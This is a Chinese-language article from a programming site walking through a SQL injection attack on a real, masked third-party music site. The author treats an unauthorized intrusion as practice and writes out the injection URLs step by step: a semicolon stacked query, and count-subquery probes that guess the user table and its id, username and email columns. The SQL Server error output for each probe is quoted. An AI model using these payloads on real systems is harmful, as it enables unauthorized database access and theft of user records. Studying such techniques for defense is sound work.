程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 有孔就入SQLInjection的深入探討

有孔就入SQLInjection的深入探討

編輯:關於SqlServer
 SQL Injection這個話題越來越熱了,很多的論壇和hack站點都或多或少地在談論這個問題,當然也有很多革命前輩寫了N多的關於這方面的文章,所利用的也是許多知名的程序,比如動網,塵緣雅境,而我們也可以拿到免費的程序來看其中的漏洞和數據庫的結構,從中來達到注入的目的,不過如果是別人自己寫的程序,那麼我們就不知道他的源代碼,更不知道他的數據庫結構(數據表名和其中的字段名),就算有個變量未過濾提交到數據庫去,我們也是無從對其下手的,只能利用通過猜解他的數據庫結構來構造相應的SQL語句,那麼是不是就到此為止,能猜到多少是多少呢?沒有做不到的,只有想不到的,我相信這篇文章對研究SQL Injection朋友來說,應該會有所啟發。
  
  一、發現漏洞,常規注入
  最近幫我們的站增加音樂,雖然本地的電信的音樂資源庫非常豐富,但是缺少有關歌手和專輯的資料,所以到網上去閒逛找點有用的圖片和歌手簡介,通過百度搜索到了一個mp3的音樂超市,裡面的資料還是比較豐富的,拷貝的同時順手在他的Specialid=1817後面加了一個(單引號),我突然眼前一亮:
  
  Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
  字符串 之前有未閉合的引號。
  /showspecial.ASP,行13
  
  Specialid沒有過濾掉單引號就直接用到SQL語句中去了,而且是SQL Server版本的,漏洞的可利用性極大,可不能就此放過這麼好的練兵機會,接著換;(分號)提交進去,居然頁面正常出來了,說明該變量也沒有過濾掉;號,到這裡,我們就可以對此進行SQL滲透了,按照常規的步驟:
  
  1、提交http://********/showspecial.ASP?Specialid=1817;use master;--
  
  注:--的作用是注釋掉程序中後面的SQL語句,以防對我們構造的語句有影響,比如order by..
  
  出現
  
  Microsoft OLE DB Provider for SQL Server 錯誤 80040e21
  多步 OLE DB 操作產生錯誤。如果可能,請檢查每個 OLE DB 狀態值。沒有工作被完成。
  /showspecial.ASP,行13
  
  想在他的數據庫裡增加一個管理員是不可能了,我們再換一種方法
  
  2、提交http://********/showspecial.ASP?Specialid=1817 and 1<>(select count(id) from [user])
  
  這一句的意思是猜猜看是不是存在一個名為user的表和他裡面有沒有id這個字段
  
  一般來說:
  
  如果不存在該表的話,會出現
  
  Microsoft OLE DB Provider for SQL Server 錯誤 80040e37
  對象名 user 無效。
  /showspecial.ASP,行13
  
  不存在該字段的話,會出現
  
  Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
  列名 id 無效。
  /showspecial.ASP,行13
  
  注:一般來說,第一步是猜一些公共的表,這裡所指的公共表的意思是大多數的程序員在寫設計數據庫結構的時候會用到的常用的表和字段,比如新聞的news表中的編號字段id,標題字段title,用戶表user或者user_data中的編號字段id,用戶名字段username,當然你也可以在該站點的登陸界面看他的原代碼,找到用戶名和密碼的表單的name值,那個也經常會是表字段名的真實值,如
  
  很幸運,果然存在user表和id字段
  
  3、通過提交http://********/showspecial.ASP?Specialid=1817 and 1<>(select count(username) from [user])
  
  這裡的username是根據登陸框的表單名去猜的,恰好存在該字段。於是在該站注冊了一個用戶名為rrrrr的用戶,作為注入的平台,得到我的用戶名的id值103534
  
  4、繼續猜下去,這裡我還是利用的他程序中的表單名,提交:
  
  http://********/showspecial.ASP?Specialid=1817 and 1<>(select count(email) from [user])
  
  也存在,好了,到這裡,我們的平台已經搭建好了。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved